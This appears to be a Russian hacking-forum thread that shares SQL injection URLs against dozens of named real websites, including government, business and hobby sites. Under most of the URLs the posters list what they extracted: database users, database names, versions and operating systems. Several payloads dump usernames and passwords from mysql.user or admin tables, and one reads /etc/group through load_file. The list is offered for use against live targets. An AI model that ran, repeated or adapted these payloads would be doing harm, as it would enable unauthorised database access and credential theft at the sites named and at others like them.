SQL Инъекции

[email protected]:infofir_SE:5.0.41-community-log[/B]

Code:

http://www.senesco.com/newsitem.php?id=-168+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version())--

monkey0_nick@localhost:monkey0_jo151:4.0.27-standard

Code:

http://www.nivb.com/newsitem.php?item=-122+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--

[email protected]:u10118317:4.0.30-log

Code:

http://www.jadeprint.com/newsitem.php?recordID=-12+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7,8--

[email protected]:alvinsingleton:4.1.22-log

Code:

http://www.alvinsingleton.com/newsitem.php?id=-3+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4--

web108-craven@localhost:web108-craven:5.0.86-community

Code:

http://www.craven-property.com/newsItem.php?id=-51+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7--

blackroc_website@localhost:blackroc_general:5.0.77-community

Code:

http://blackrockspeedway.net/news/newsItem.php?tag=1&year=2009&item=-9+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version())--

alteuser@localhost:alte:4.0.22

Code:

http://www.alte.org/news/newsitem.php?newsID=-197+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5--

[email protected]:njwfadb:4.1.22-max-log

Code:

http://www.njworkingfamilies.org/newsItem.php?nwID=-34+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6--

fiddlefolk@localhost:fiddlefolk:5.1.35

Code:

http://www.fiddleworkshop.co.uk/newsitem.php?id=-84+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5--

churchdbuser@localhost:church:5.0.22-Debian_0ubuntu6.06.9-log

Code:

http://www.churchbuyinggroup.co.uk/newsitem.php?news_id=-7+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7--

danielkawczynski@localhost:danielkawczynski:5.0.51a-3ubuntu5.4

Code:

http://www.daniel4shrewsbury.co.uk/newsitem.php?newsid=-15+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8--

 

вывод в ошибке

version()=4.0.21
user()=tpgsurveyuser3@localhost

 

Code:

http://ezonet.ru/teldir.php?catID=-36+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)

4.0.27-max-log:ezonet77:[email protected]:unknown-freebsd4.7

 

Code:

http://www.motorama.be/show.php?id=-117+union+select+1,2,concat_ws(database(),user(),version(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17--

[email protected]

Code:

http://www.motorama.be/show.php?id=-117+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user--

LFI:

Code:

http://www.motorama.be/show.php?id=-117+union+select+1,2,load_file('/etc/group'),4,5,6,7,8,9,10,11,12,13,14,15,16,17--

 

Официальный сайт министерства экономики Республики Бурятия

Code:

economy_ru:newser@localhost:5.0.41-log

Народное Собрание Республики Ингушетия

Продолжаем за спасибо)

 

PR5

Code:

http://www.horwoodpublishing.net/order.php?id=-140+union+select+1,concat_ws(0x3a,username,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+tbl_users--

version: 4.1.15-standard-log
database: horwoodpub
-----------------------------------------
PR5

Code:

http://www.iams.co.uk/cat/where-to-buy.php?id=-46+union+select+1,concat_ws(0x3a,version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

version: 5.0.37-community-log
database: iamsfr
-----------------------------------------
PR5

Code:

http://www.rtos.com/page/product.php?id=-2+union+select+1,2,version(),4--

version: 4.1.20-log
database: expresslogic

 

Code:

http://www.designtrend.hu/index.php?inc=rovat&RId=-1+Union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4--

5.1.38:dcmagazin:dcmagazin@localhost: portbld-freebsd7.2

Code:

http://miami21.metro1companies.com/details.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65--

4.1.22:metro1_1:gt3creative@localhost: portbld-freebsd4.10

Code:

http://www.meechannel.com/index.php?sec=organize&setid=-1+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--

Code:

http://www.meechannel.com/index.php?sec=organize&setid=-1+union+select+concat_ws(0x3a,user,password)+from+mysql.user+limit+16,21--

5.0.27:meechannel:meechannel@localhost:redhat-linux-gnu

Code:

http://www.gtk.fi/slr/article.php?id=-18+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11--

5.0.77:slr:slr@localhost:redhat-linux-gnu

Code:

http://www.ventasport.ru/tovar.php?id=1/**/union/**/select/**/1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

4.0.27-log:db12509m:[email protected]: portbld-freebsd7.0

Code:

http://www.shinamir.ru/index.php?pageId=-50+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10

Code:

http://www.shinamir.ru/index.php?pageId=-50+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10+from+mysql.user+limit+24,24

5.0.45-log:shinamir:shinamir@localhost:redhat-linux-gnu

 

Code:

http://www.avk-bearing.ru/n.php?id=7+and+1=0+union+select+1,2,3,4,5--
http://www.gotranslators.ru/cv.php?dir=22&id=486+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
http://www.sdosug.ru/vote.php?ID=132+and+1=0+union+select+1,2,3,4--
http://girl.veneradosug.ru/vote.php?ID=92+and+1=0+union+select+1,2,3,4--
http://piter.dosug24.ru/vote.php?ID=705+and+1=0+union+select+1,2,3,4--

 

Code:

http://www.craft-russia.ru/rdvs/index.php?id=-41+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5+--+

Database Version: 5.0.67-log
Database name: u45240
User name: [email protected]

 

Code:

http://www.estensa.it/web-agency-dett-news.php?id=-33+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10--

database: Sql161320_1
version: 5.0.82sp1-log
user: [email protected]

 

Code:

http://www.spes-forum.be/spes/page.php?LAN=N&FILE=agendadetail&ID=-942+union+select+1,user(),3,4,5,6,7,8,9,10,11,12--

log-standard-4.1.13

http://insidestory.mxv.be/page.php?id=-22+union+select+1,2,version(),4,5--

5.0.45-log

http://www.flandersmusic.be/page.php?ID=-65+union+select+version()--

5.1.36-0.dotdeb.0

 

Code:

http://www.payperclickuniverse.com/search-engine-latest-news.php?v=more&id=-66+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7--

databasepcu_ppc
version:4.1.22-log
userpcu@web2-int

Code:

http://www.iolabsinc.com/news.php?id=-66+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6--

database:iolabs
version:5.0.67-userstats-log
user:[email protected]

Code:

http://www.thekarchergroup.mobi/mobile-news.php?id=-66+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

database:TheKarcherGroup
version:5.0.45-log
user:[email protected]

Code:

http://www.jazzdimensions.de/news.php?ort=Berlin&id=-66+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15--

database:db16424844
version:4.0.27-max-log
user:[email protected]

Code:

http://www.sportpark-quickborn.de/news.php?id=-66+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5--

databaseB352449
version:5.0.67-log
user:[email protected]

 

MSsql
PR 5

 

PR4

Code:

http://www.natural-insect-control.com/product.php?id=000000283+and+1=0+union+select+1,concat_ws(0x3a,User,Password),3,4+from+mysql.user--

version: 5.0.77-log
user: root@localhost
database: naturalinsect
PR2

Code:

http://www.ldicolortoolbox.com/product.php?id=98&cid=30+and+1=0+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--

version: 4.1.20
user: dang@localhost
database: ldi

 

PR6

Code:

http://www.mercurymarine.com/newsandevents/newsdetail.php?ID=20+and+1=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12--

4.1.21:mercury@localhost:mercurymarine
PR5

Code:

http://www.adventureplus-bg.com/story.php?id=21+and+1=0+union+select+concat_ws(0x3a,version(),user(),database())--

4.0.26a:top@sg-acd12:top
PR5

Code:

http://channelstv.com/prog_transcript.php?id=34+and+1=0+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5--

4.1.22-log:[email protected]:channels
PR5

Code:

http://www.digital-everywhere.com/shop/index.php?page=artikel&pkateg=20+and+1=0+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5--

4.1.22-standard-log:db188898_1@local2:db188898_1
PR4

Code:

http://www.digital-everywhere.com/shop/index.php?page=artikel&pkateg=20+and+1=0+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5--

4.1.22-standard-log:db188898_1@local2:db188898_1
PR4

Code:

http://www.game-reviews.ca/news.php?id=1422+and+1=0+union+select+1,concat_ws(0x3a,login,password),3,4,5,6,7,8,9,10,11+from+admin--

5.0.67-standard:gamerevi_news@localhost:gamerevi_gamenews
PR3

Code:

http://www.adventureplus-bg.com/story.php?id=21+and+1=0+union+select+concat_ws(0x3a,version(),user(),database())--

4.0.26a:top@sg-acd12:top
PR3

Code:

http://juggler.artinact.com/a-imglib/showimg.php?id=15+and+1=0+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8--

4.1.22-standard-log:artinact_juggler@localhost:artinact_juggler
PR3

Code:

http://fitnessbuildshealth.com/trainers.php?id=39+and+1=0+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9,10,11,12,13,14,15,16--

4.1.20-max-log:[email protected]:start6_fit

 

Code:

http://ukrturizm.com.ua/index.php?id=-293+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7--

4.1.25-log:atur@localhost:atur

Code:

http://www.tsetse220.com/news.php?id=-142+union+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5--

5.0.51a-3ubuntu5.4:root@localhost:tsetse220

Code:

http://www.otcheta.net/news.php?id=13005+and+substring%28version%28%29,1,1%29=4

version: 4.1.25-log

 

[email protected]:db9330_blog:4.1.25-Debian_mt1

Code:

http://www.blamm.com/top10.php?id=-8+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47--

codeglue2@WSWWW07:codeglue2:5.0.85-community-nt

Code:

http://www.codeglue.com/game.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

rpgui@localhost:RPGuides:5.0.51a-3ubuntu5.4

Code:

http://www.rpguides.de/dnd/game.php?id=-67+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user(),database(),version()),14,15--

 

http://www.rav.org/upper/newsDetail.php?id=170+union+select+1,2,3,4,5,6,7,8,9,10--

user:[email protected]@207.155.252.14
base:maimoDB
os:sun-solaris2.8
mysql.user:[email protected]

file_priv:N
ver:4.1.22-log

[ id,username,pwd ] from [ users ]
-----------------------------------------

 

http://www.cg.com.ve/noticia.php?id=-222+union+select+1,concat_ws(0x3a3a,login,contrasena,nombre),3,4,5,6,7,8,9,10,11,12+from+usuarios+limit+2,1+/*+


http://www.pepedoro.it/pepedoroblog/magazine.php?acts=report&id=-79'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+/*+


http://www.spotbit.com/main/inside_search.php?&title=6&memberid=-2278+uNiOn+sElEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103+/*+

 

ням,но сцк не фартит..

Db: internet
Version: 4.1.22-log
User: interusr@webserver